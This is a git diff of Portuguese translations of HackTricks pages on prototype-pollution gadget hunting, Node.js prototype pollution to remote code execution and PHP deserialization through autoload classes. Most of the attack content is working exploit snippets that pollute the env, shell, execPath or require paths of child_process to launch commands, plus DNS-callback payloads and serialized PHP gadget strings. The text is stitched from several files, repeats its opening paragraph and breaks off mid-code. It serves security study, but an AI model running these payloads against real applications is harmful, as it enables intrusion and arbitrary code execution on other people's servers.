Ao decidir qual pilha investigar, é frequentemente útil direcionar as pilhas associadas aos arquivos de biblioteca JavaScript, pois a poluição de protótipos ocorre com frequência dentro dessas bibliotecas. Identifique a pilha relevante examinando sua conexão com os arquivos de biblioteca (visíveis no lado direito, semelhante a uma imagem fornecida para orientação). Em cenários com várias pilhas, como aquelas nas linhas 4 e 6, a escolha lógica é a pilha na linha 4, pois representa a ocorrência inicial da poluição e, portanto, a causa raiz da vulnerabilidade. Clicar na pilha o direcionará para o código vulnerável.
Ao decidir qual pilha investigar, é frequentemente útil direcionar as pilhas associadas aos arquivos de biblioteca JavaScript, pois a poluição de protótipos ocorre com frequência dentro dessas bibliotecas. Identifique a pilha relevante examinando sua conexão com os arquivos de biblioteca (visíveis no lado direito, semelhante a uma imagem fornecida para orientação). Em cenários com múltiplas pilhas, como aquelas nas linhas 4 e 6, a escolha lógica é a pilha na linha 4, pois representa a ocorrência inicial da poluição e, portanto, a causa raiz da vulnerabilidade. Clicar na pilha o direcionará para o código vulnerável.
![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
@ -72,7 +74,7 @@ O gadget é o **código que será abusado uma vez que uma vulnerabilidade de PP
Se a aplicação for simples, podemos **procurar** por **palavras-chave** como **`srcdoc/innerHTML/iframe/createElement`** e revisar o código-fonte para verificar se **leva à execução de JavaScript**. Às vezes, as técnicas mencionadas podem não encontrar gadgets. Nesse caso, a revisão pura do código-fonte revela alguns gadgets interessantes, como no exemplo abaixo.
### Exemplo de Encontrar Gadget de PP no código da biblioteca Mithil
### Exemplo de Encontrar um Gadget de PP no código da biblioteca Mithil
Confira este artigo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
@ -127,10 +129,10 @@ document.body.append(node);
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,22 +1,22 @@
# Prototype Pollution para RCE
# Poluição de Protótipo para RCE
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Código Vulnerável
Imagine um JS real usando algum código como o seguinte:
Imagine um código JS real usando algo como o seguinte:
```javascript
const { execSync, fork } = require('child_process');
@ -51,9 +51,9 @@ var proc = fork('a_file.js');
```
## PP2RCE via variáveis de ambiente
**PP2RCE** significa **Prototype Pollution para RCE** (Execução Remota de Código).
**PP2RCE** significa **Prototype Pollution to RCE** (Execução Remota de Código).
De acordo com este [**relatório**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando um **processo é iniciado** com algum método de **`child_process`** (como `fork`, `spawn` ou outros), ele chama o método `normalizeSpawnArguments`, que é um **gadget de prototype pollution para criar novas variáveis de ambiente**:
De acordo com este [**artigo**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando um **processo é iniciado** com algum método de **`child_process`** (como `fork` ou `spawn` ou outros), ele chama o método `normalizeSpawnArguments` que é um **gadget de poluição de protótipo para criar novas variáveis de ambiente**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -73,17 +73,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Verifique que no código você pode ver que é possível **envenenar `envPairs`** apenas **poluindo** o **atributo `.env`.**
Verifique esse código, você pode ver que é possível **envenenar `envPairs`** apenas **poluindo** o **atributo `.env`.**
### **Envenenando `__proto__`**
### **Envenenamento de `__proto__`**
{% hint style="warning" %}
Observe que, devido ao funcionamento da função **`normalizeSpawnArguments`** da biblioteca **`child_process`** do node, quando algo é chamado para **definir uma nova variável de ambiente** para o processo, você só precisa **poluir qualquer coisa**.\
Observe que devido à forma como a função **`normalizeSpawnArguments`** da biblioteca **`child_process`** do node funciona, quando algo é chamado para **definir uma nova variável de ambiente** para o processo, você só precisa **poluir qualquer coisa**.\
Por exemplo, se você fizer `__proto__.avar="valuevar"`, o processo será iniciado com uma variável chamada `avar` com o valor `valuevar`.
No entanto, para que a **variável de ambiente seja a primeira**, você precisa **poluir** o **atributo `.env`** e (apenas em alguns métodos) essa variável será a **primeira** (permitindo o ataque).
É por isso que **`NODE_OPTIONS`** **não está dentro de `.env`** no ataque a seguir.
É por isso que **`NODE_OPTIONS`** não está dentro de `.env` no ataque a seguir.
{% endhint %}
{% code overflow="wrap" %}
@ -131,10 +131,10 @@ var proc = fork('a_file.js');
```
## PP2RCE via variáveis de ambiente + linha de comando
Um payload similar ao anterior com algumas alterações foi proposto em [**este artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
Uma carga útil semelhante à anterior com algumas alterações foi proposta neste [**artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
* Em vez de armazenar o **payload** do nodejs dentro do arquivo `/proc/self/environ`, ele armazena **dentro de argv0** de **`/proc/self/cmdline`**.
* Então, em vez de requerer via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **requer `/proc/self/cmdline`**.
* Em vez de armazenar a **carga útil** do nodejs dentro do arquivo `/proc/self/environ`, ela a armazena dentro de **argv0** de **`/proc/self/cmdline`**.
* Em seguida, em vez de exigir via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **exige `/proc/self/cmdline`**.
{% code overflow="wrap" %}
```javascript
@ -160,9 +160,9 @@ var proc = fork('a_file.js');
```
{% endcode %}
## Interação DNS
## Interação com DNS
Usando os seguintes payloads, é possível abusar da variável de ambiente NODE\_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação DNS:
Usando os payloads a seguir, é possível abusar da variável de ambiente NODE_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação com DNS:
```json
{
"__proto__": {
@ -172,7 +172,7 @@ Usando os seguintes payloads, é possível abusar da variável de ambiente NODE\
}
}
```
Ou, para evitar WAFs que solicitam o domínio:
Ou, para evitar que os WAFs solicitem o domínio:
```json
{
"__proto__": {
@ -182,15 +182,13 @@ Ou, para evitar WAFs que solicitam o domínio:
}
}
```
## Vulnerabilidade PP2RCE em funções do child_process
## Vulnerabilidade PP2RCE nas funções child\_process
Nesta seção, vamos analisar **cada função do `child_process`** para executar código e ver se podemos usar alguma técnica para forçar essa função a executar código:
<details>
<summary><code>exec</code> exploração</summary>
{% code overflow="wrap" %}
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
@ -215,10 +213,6 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
```
{% endcode %}
</details>
<details>
<summary><strong><code>execFile</code> exploração</strong></summary>
@ -240,16 +234,16 @@ var proc = execFile('/usr/bin/node');
// Windows - not working
```
Para o **`execFile`** funcionar, ele **DEVE executar o node** para que as NODE\_OPTIONS funcionem.\
Se **não** estiver executando o **node**, você precisa encontrar como pode **alterar a execução** do que quer que esteja executando **com variáveis de ambiente** e configurá-las.
Para que o **`execFile`** funcione, ele **DEVE executar o node** para que as NODE\_OPTIONS funcionem.\
Se **não** estiver executando o **node**, você precisa descobrir como **alterar a execução** do que está sendo executado **com variáveis de ambiente** e defini-las.
As **outras** técnicas **funcionam** sem essa exigência porque é **possível modificar** **o que é executado** via poluição de protótipo. (Neste caso, mesmo que você consiga poluir `.shell`, você não vai poluir o que está sendo executado).
As **outras** técnicas **funcionam** sem esse requisito porque é **possível modificar** **o que é executado** via poluição de protótipos. (Neste caso, mesmo que você consiga poluir `.shell`, você não poluirá o que está sendo executado).
</details>
<details>
<summary><code>fork</code> exploração</summary>
<summary>Exploração de <code>fork</code></summary>
{% code overflow="wrap" %}
```javascript
@ -289,15 +283,11 @@ b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
```
{% endcode %}
</details>
<details>
<summary><strong><code>spawn</code> exploração</strong></summary>
{% code overflow="wrap" %}
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -334,15 +324,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```
{% endcode %}
</details>
<details>
<summary><strong><code>execFileSync</code> exploração</strong></summary>
{% code overflow="wrap" %}
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -381,15 +367,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
```
{% endcode %}
</details>
<details>
<summary><strong><code>execSync</code> exploração</strong></summary>
{% code overflow="wrap" %}
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -427,15 +409,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
```
{% endcode %}
</details>
<details>
<summary><strong><code>spawnSync</code> exploração</strong></summary>
{% code overflow="wrap" %}
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -485,18 +463,18 @@ var proc = spawnSync('something');
## Forçando Spawn
Nos exemplos anteriores, você viu como acionar o gadget quando uma funcionalidade que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo o chamam). No exemplo anterior, isso era **parte do código**, mas e se o código **não** estiver chamando?
Nos exemplos anteriores, você viu como acionar a funcionalidade de um gadget que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo o chamam). No exemplo anterior, isso fazia **parte do código**, mas e se o código **não** estiver chamando isso.
### Controlando o caminho de um arquivo require
### Controlando um caminho de arquivo require
Neste [**outro artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) o usuário pode controlar o caminho do arquivo onde um **`require`** será executado. Nesse cenário, o atacante só precisa **encontrar um arquivo `.js` no sistema** que **execute um método spawn quando importado.**\
Alguns exemplos de arquivos comuns que chamam uma função spawn quando importados são:
Neste [**outro artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), o usuário pode controlar o caminho do arquivo onde um **`require`** será executado. Nesse cenário, o atacante só precisa **encontrar um arquivo `.js` dentro do sistema** que irá **executar um método spawn quando importado.**\
Alguns exemplos de arquivos comuns que chamam uma função spawn ao serem importados são:
* /path/to/npm/scripts/changelog.js
* /caminho/para/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* Encontre **mais arquivos abaixo**
O seguinte script simples buscará por **chamadas** de **child\_process** **sem qualquer preenchimento** (para evitar mostrar chamadas dentro de funções):
O seguinte script simples irá procurar por **chamadas** de **child\_process** **sem nenhum preenchimento** (para evitar mostrar chamadas dentro de funções):
{% code overflow="wrap" %}
```bash
@ -523,24 +501,24 @@ done
</details>
### Configurando o caminho do arquivo require via prototype pollution
### Definindo o caminho do arquivo requerido via poluição de protótipo
{% hint style="warning" %}
A **técnica anterior requer** que o **usuário controle o caminho do arquivo** que vai ser **required**. Mas isso nem sempre é verdade.
A **técnica anterior requer** que o **usuário controle o caminho do arquivo** que será **requerido**. Mas isso nem sempre é verdade.
{% endhint %}
No entanto, se o código for executar um require após o prototype pollution, mesmo que você **não controle o caminho** que vai ser required, você **pode forçar um diferente abusando do prototype pollution**. Então, mesmo que a linha de código seja como `require("./a_file.js")` ou `require("bytes")`, ele vai **require o pacote que você poluiu**.
No entanto, se o código for executar um require após a poluição de protótipo, mesmo que você **não controle o caminho** que será requerido, você **pode forçar um diferente abusando da poluição de protótipo**. Portanto, mesmo que a linha de código seja `require("./a_file.js")` ou `require("bytes")`, ele **requererá o pacote que você poluiu**.
Portanto, se um require for executado após o seu prototype pollution e nenhuma função spawn, este é o ataque:
Portanto, se um require for executado após a sua poluição de protótipo e não houver uma função de execução de spawn, este é o ataque:
* Encontre um arquivo **`.js` dentro do sistema** que, quando **required**, vai **executar algo usando `child_process`**
* Se você pode fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
* Polua os caminhos para **forçar o carregamento do arquivo `.js`** que vai executar algo com child\_process
* **Polua o environ/cmdline** para executar código arbitrário quando uma função de execução child\_process for chamada (veja as técnicas iniciais)
* Encontre um **arquivo `.js` dentro do sistema** que, quando **requerido**, i **executar algo usando `child_process`**
* Se você puder fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
* Polua os caminhos para **forçar o carregamento do arquivo `.js`** que i executar algo com child\_process
* **Polua o environ/cmdline** para executar código arbitrário quando uma função de execução de child\_process é chamada (veja as técnicas iniciais)
#### Require absoluto
Se o require executado for **absoluto** (`require("bytes")`) e o **pacote não contiver main** no arquivo `package.json`, você pode **poluir o atributo `main`** e fazer o **require executar um arquivo diferente**.
Se o require realizado for **absoluto** (`require("bytes")`) e o **pacote não contiver main** no arquivo `package.json`, você pode **poluir o atributo `main`** e fazer o **require executar um arquivo diferente**.
{% tabs %}
{% tab title="exploit" %}
@ -582,7 +560,7 @@ fork("anything");
{% endtab %}
{% endtabs %}
#### Relative require - 1
#### Requerimento relativo - 1
Se um **caminho relativo** for carregado em vez de um caminho absoluto, você pode fazer o node **carregar um caminho diferente**:
@ -624,11 +602,10 @@ fork('/path/to/anything');
{% endtab %}
{% endtabs %}
#### Requisição relativa - 2
#### Requerimento relativo - 2
{% tabs %}
{% tab title="exploit" %}
{% code overflow="wrap" %}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -666,9 +643,9 @@ fork('/path/to/anything');
{% endtab %}
{% endtabs %}
#### Relative require - 3
#### Requerimento relativo - 3
Semelhante ao anterior, este foi encontrado em [**este writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
Semelhante ao anterior, este foi encontrado neste [**artigo**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
@ -687,21 +664,21 @@ Object.prototype.env = {
require('./usage.js')
```
## VM Gadgets
## Dispositivos VM
No artigo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) também é indicado que o controle de **`contextExtensions`** de alguns métodos da biblioteca **`vm`** poderia ser usado como um gadget.\
No entanto, como os métodos anteriores de **`child_process`**, isso foi **corrigido** nas últimas versões.
No artigo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) também é indicado que o controle do **`contextExtensions`** de alguns métodos da biblioteca **`vm`** poderia ser usado como um dispositivo.\
No entanto, assim como os métodos anteriores de **`child_process`**, isso foi **corrigido** nas versões mais recentes.
## Correções & Proteções Inesperadas
## Correções e Proteções Inesperadas
Por favor, note que a poluição de protótipo funciona se o **atributo** de um objeto que está sendo acessado for **indefinido**. Se no **código** esse **atributo** for **definido** com um **valor**, você **não poderá sobrescrevê-lo**.
Por favor, note que a poluição de protótipos funciona se o **atributo** de um objeto que está sendo acessado for **indefinido**. Se no **código** esse **atributo** for **definido** com um **valor**, você **não poderá sobrescrevê-lo**.
Em junho de 2022 a partir [**deste commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) a variável `options` em vez de um `{}` é um **`kEmptyObject`**. O que **impede a poluição de protótipo** de afetar os **atributos** de **`options`** para obter RCE.\
Pelo menos a partir da v18.4.0 essa proteção foi **implementada**, e portanto os **exploits** de `spawn` e `spawnSync` afetando os métodos **não funcionam mais** (se nenhuma `options` for usada!).
Em junho de 2022, a partir [**deste commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), a variável `options` em vez de `{}` é um **`kEmptyObject`**. Isso **impede a poluição de protótipos** de afetar os **atributos** de **`options`** para obter RCE.\
Pelo menos a partir da v18.4.0, essa proteção foi **implementada**, e portanto os **exploits** `spawn` e `spawnSync` que afetam os métodos **não funcionam mais** (se nenhum `options` for usado!).
No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) a **poluição de protótipo** de **`contextExtensions`** da biblioteca vm foi **também meio que corrigida** definindo options para **`kEmptyObject`** em vez de **`{}`.**
Em [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), a **poluição de protótipos** de **`contextExtensions`** da biblioteca vm também foi **em parte corrigida** definindo as opções como **`kEmptyObject`** em vez de **`{}`.**
### **Outros Gadgets**
### **Outros Dispositivos**
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
@ -714,14 +691,14 @@ No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,31 +1,31 @@
# PHP - Deserialização + Classes Autoload
# PHP - Desserialização + Classes de Autocarregamento
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
Primeiro, você deve verificar o que são [**Classes Autoload**](https://www.php.net/manual/en/language.oop5.autoload.php).
Primeiro, você deve verificar o que são [**Classes de Autocarregamento**](https://www.php.net/manual/en/language.oop5.autoload.php).
## Deserialização PHP + spl\_autoload\_register + LFI/Gadget
## PHP desserialização + spl\_autoload\_register + LFI/Gadget
Estamos em uma situação onde encontramos uma **deserialização PHP em uma webapp** sem nenhuma biblioteca vulnerável a gadgets dentro do **`phpggc`**. No entanto, no mesmo container havia uma **webapp composer diferente com bibliotecas vulneráveis**. Portanto, o objetivo era **carregar o carregador do composer da outra webapp** e abusar dele para **carregar um gadget que explorará essa biblioteca com um gadget** da webapp vulnerável à deserialização.
Estamos em uma situação onde encontramos uma **desserialização PHP em um aplicativo da web** sem nenhuma biblioteca vulnerável a gadgets dentro do **`phpggc`**. No entanto, no mesmo contêiner, havia uma **outra aplicação da web do composer com bibliotecas vulneráveis**. Portanto, o objetivo era **carregar o carregador do composer da outra aplicação da web** e abusá-lo para **carregar um gadget que irá explorar aquela biblioteca com um gadget** da aplicação da web vulnerável à desserialização.
Passos:
* Você encontrou uma **deserialização** e **não há nenhum gadget** no código atual do app
* Você encontrou uma **desserialização** e **não há nenhum gadget** no código do aplicativo atual
* Você pode abusar de uma função **`spl_autoload_register`** como a seguinte para **carregar qualquer arquivo local com extensão `.php`**
* Para isso, você usa uma deserialização onde o nome da classe vai estar dentro de **`$name`**. Você **não pode usar "/" ou "."** em um nome de classe em um objeto serializado, mas o **código** está **substituindo** os **sublinhados** ("\_") **por barras** ("/"). Então, um nome de classe como `tmp_passwd` será transformado em `/tmp/passwd.php` e o código tentará carregá-lo.\
Um **exemplo de gadget** seria: **`O:10:"tmp_passwd":0:{}`**
* Para isso, você usa uma desserialização onde o nome da classe estará dentro de **`$name`**. Você **não pode usar "/" ou "."** em um nome de classe em um objeto serializado, mas o **código** está **substituindo** os **underlines** ("\_") **por barras** ("/"). Portanto, um nome de classe como `tmp_passwd` será transformado em `/tmp/passwd.php` e o código tentará carregá-lo.\
Um **exemplo de gadget** será: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
@ -48,52 +48,30 @@ require __DIR__ . $filename;
});
```
{% hint style="success" %}
Se você tem um **upload de arquivo** e pode enviar um arquivo com a extensão **`.php`**, você poderia **abusar dessa funcionalidade diretamente** e obter RCE imediatamente.
Se você tiver um **upload de arquivo** e puder fazer o upload de um arquivo com a extensão **`.php`**, você pode **abusar dessa funcionalidade diretamente** e obter RCE facilmente.
{% endhint %}
No meu caso, eu não tinha nada assim, mas havia dentro do **mesmo container** outra página web do composer com uma **biblioteca vulnerável a um gadget `phpggc`**.
No meu caso, eu não tinha nada assim, mas havia dentro do **mesmo contêiner** outra página da web do composer com uma **biblioteca vulnerável a um gadget `phpggc`**.
* Para carregar essa outra biblioteca, primeiro você precisa **carregar o carregador do composer daquela outra aplicação web** (porque o da aplicação atual não acessará as bibliotecas da outra.) **Conhecendo o caminho da aplicação**, você pode conseguir isso muito facilmente com: **`O:28:"www_frontend_vendor_autoload":0:{}`** (No meu caso, o carregador do composer estava em `/www/frontend/vendor/autoload.php`)
* Agora, você pode **carregar** o carregador do composer da outra **aplicação**, então é hora de **`gerar o payload do phpgcc`** para usar. No meu caso, eu usei **`Guzzle/FW1`**, que me permitiu **escrever qualquer arquivo dentro do sistema de arquivos**.
* NOTA: O **gadget gerado não estava funcionando**, para que funcionasse eu **modifiquei** aquele payload **`chain.php`** do phpggc e defini **todos os atributos** das classes **de privados para públicos**. Caso contrário, após a desserialização da string, os atributos dos objetos criados não tinham valores.
* Agora temos a maneira de **carregar o carregador do composer da outra aplicação** e temos um **payload do phpggc que funciona**, mas precisamos **fazer isso na MESMA REQUISIÇÃO para que o carregador seja carregado quando o gadget for usado**. Para isso, eu enviei um array serializado com ambos os objetos como:
* Para carregar essa outra biblioteca, primeiro você precisa **carregar o carregador do composer da outra aplicação web** (porque o da aplicação atual não terá acesso às bibliotecas da outra). **Sabendo o caminho da aplicação**, você pode fazer isso facilmente com: **`O:28:"www_frontend_vendor_autoload":0:{}`** (No meu caso, o carregador do composer estava em `/www/frontend/vendor/autoload.php`)
* Agora, você pode **carregar** o carregador da **outra aplicação**, então é hora de **`gerar o payload phpgcc`** para usar. No meu caso, usei **`Guzzle/FW1`**, o que me permitiu **escrever qualquer arquivo no sistema de arquivos**.
* NOTA: O **gadget gerado não estava funcionando**, para que funcionasse, eu **modifiquei** esse payload **`chain.php`** do phpggc e defini **todos os atributos** das classes **de privado para público**. Caso contrário, após desserializar a string, os atributos dos objetos criados não teriam nenhum valor.
* Agora temos o caminho para **carregar o carregador da outra aplicação** e ter um **payload phpggc que funcione**, mas precisamos **fazer isso na MESMA REQUISIÇÃO para que o carregador seja carregado quando o gadget for usado**. Para isso, enviei um array serializado com ambos os objetos como:
* Você pode ver **primeiro o carregador sendo carregado e depois o payload**
{% code overflow="wrap" %}
```php
